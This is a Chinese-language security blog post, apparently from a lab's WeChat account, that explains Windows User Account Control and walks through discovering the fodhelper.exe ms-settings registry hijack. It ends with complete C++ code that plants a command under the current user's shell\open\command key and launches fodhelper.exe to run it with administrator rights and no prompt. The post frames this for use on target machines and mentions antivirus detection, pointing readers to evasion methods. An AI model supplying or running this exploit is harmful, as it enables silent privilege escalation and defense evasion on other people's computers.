本期作者/Gardenia
什么是UAC
UAC是UserAccountControl的缩写,即用户帐户控制。是Windows操作系统中的一种安全特性,旨在保护计算机不被未经授权的应用程序和操作所破坏。UAC通过提示用户是否允许某个应用程序或操作修改计算机的设置或访问敏感数据,来帮助用户避免恶意软件或病毒对系统的破坏。当用户运行需要以管理员权限运行的程序时,UAC会提示用户是否授予该程序管理员权限,以保护计算机的安全。UAC是WindowsVista及以上版本中的一项默认特性,用户可以根据需要对其进行配置和管理
如何在电脑上开启UAC
默认系统是开启的,如果不想开启只需要拉到最下面设置从不通知即可。
验证UAC效果
弹出用户账户控制的窗口就说明UAC开启成功了。
让自己的程序为UAC权限
编译测试自身程序是否双击为UAC打开。
此时可以看到编译的Demo程序的图标有个管理员权限的小图标。运行后提示账户控制窗口就说明了当前程序被附加了UAC权限。也可以使用sigcheck64工具来验证。
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
如何绕过UAC权限启动程序
正常情况下我们运行UAC程序,或者普通程序管理员启动都会弹出账户控制的窗口来让用户手动确定是否启动,这时候如果我们在目标机器上触发则导致我们的目标失联。想要绕过UAC的触发窗口,我们就需要去找到哪些不受UAC约束的程序让我们利用。
1.必要条件
1.程序必须具有自动提权的属性,也就是true
2.运行程序不能弹出账户控制窗口
3.需要调用 ShellOpencommand 注册表值
2.查找带有autoElevate属性的程序
这里我们尽可能查找系统自带的程序,方便我们在目标机器中使用。查询方式使用sigcheck64工具来查找。
命令为sigcheck64 -m 进程名 | findstr “auto”这里最好能写一个脚本让他自动化查找方便
3.校验用户控制面板
执行我们通过sigcheck64找到带有autoElevate的程序运行看看是否会弹出庄户控制窗口,如果不弹出我们就可以进行第三个步骤了。
4.查询调用键值
使用ProcessMonitor工具来抓取是否有ShellOpencommand的值。
这里我们对fodhelper进程进行拦截,不然我们获取的数据太多不利于我们查询。下面我们搜索 “ShellOpencommand”。
5.分析调用规则
这里是我们要查询的关键,我们去看看注册表HKCUSoftwareClassesms-settingsShellOpencommand 存放的是什么。发现我们只能找到HKCUSoftwareClasses 却找不到ms-settingsShellOpencommand,这里我们给他手动创建一个看看他是什么表现。
先清理下数据,我们重新执行fodhelper.exe。
这里和上面的图对比发现我们HKCUSoftwareClassesms-settingsShellOpen新项 #1DelegateExecute可能需要在下面创建一个DelegateExecute的值。根据这个名字猜测是执行一个程序,我们把这个值的内容改为cmd.exe,看看是否可以执行起来cmd程序。
这里可以发现我们已管理员权限启动了cmd窗口,并且没有弹出账户控制窗口。
代码实现步骤
根据上面的步骤我们大致需要几个步骤如下:
-
在启动程序之前先创建HKCUSoftwareClassesms-settingsShellOpencommand的项。
-
在值里面写入要启动的程序进程。
-
创建DelegateExecute的值。
-
启动fodhelper.exe进程。
-
删除HKCUSoftwareClassesms-settings注册表树。
#include <iostream>
#include <Windows.h>
#pragma comment(lib,"AdvApi32.lib")
#pragma comment(lib,"Shell32.lib")
int main(int argc, char* argv[]) {
LPWSTR pCMDpath;
size_t sSize;
if (argc != 2) {
printf("[!] Error, you must supply a commandn");
return EXIT_FAILURE;
}
#ifdef _WIN64 // x64 ONLY!
pCMDpath = new TCHAR[MAX_PATH + 1];
mbstowcs_s(&sSize, pCMDpath, MAX_PATH, argv[1], MAX_PATH);
LRESULT lResult;
BOOL bResult;
HKEY hKey = NULL;
WCHAR szTempBuffer[MAX_PATH + 1];
DWORD dwData;
SIZE_T cmdLen;
SHELLEXECUTEINFO shinfo;
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\Classes\ms-settings\shell\open\command", 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
if (lResult != ERROR_SUCCESS)
return -1;
szTempBuffer[0] = 0;
dwData = 0;
lResult = RegSetValueEx(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)szTempBuffer, dwData);
if (lResult != ERROR_SUCCESS)
return -1;
cmdLen = lstrlen(pCMDpath);
dwData = (DWORD)((1 + cmdLen) * sizeof(WCHAR));
lResult = RegSetValueEx(hKey, TEXT(""), 0, REG_SZ, (BYTE*)pCMDpath, dwData);
if (lResult == ERROR_SUCCESS) {
// can pick either fodhelper.exe or computerdefaults.exe here
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = L"C:\Windows\System32\fodhelper.exe";
shinfo.lpParameters = L""; // parameters
shinfo.lpDirectory = NULL;
shinfo.nShow = SW_SHOW;
shinfo.lpVerb = NULL;
bResult = ShellExecuteEx(&shinfo);
if (bResult) {
WaitForSingleObject(shinfo.hProcess, 0x8000);
CloseHandle(shinfo.hProcess);
printf("[+] Successn");
}
}
if (RegDeleteTree(HKEY_CURRENT_USER, L"Software\Classes\ms-settings\shell\open\command")) {
return -1;
}
if (hKey != NULL)
RegCloseKey(hKey);
#endif
return EXIT_SUCCESS;
}
总结
在抓取UAC漏洞的时候步骤还是相对比较简单的,可以使用代码写一套自动化的流程。这里需要注意的是目前很多杀毒软件在我们的程序写注册表值到HKCUSoftwareClassesms-settingsShellOpencommand会报毒,解决办法网上也有很多种,可自行测试。
原文始发于微信公众号(蛇矛实验室):BypassUAC漏洞挖掘和代码集成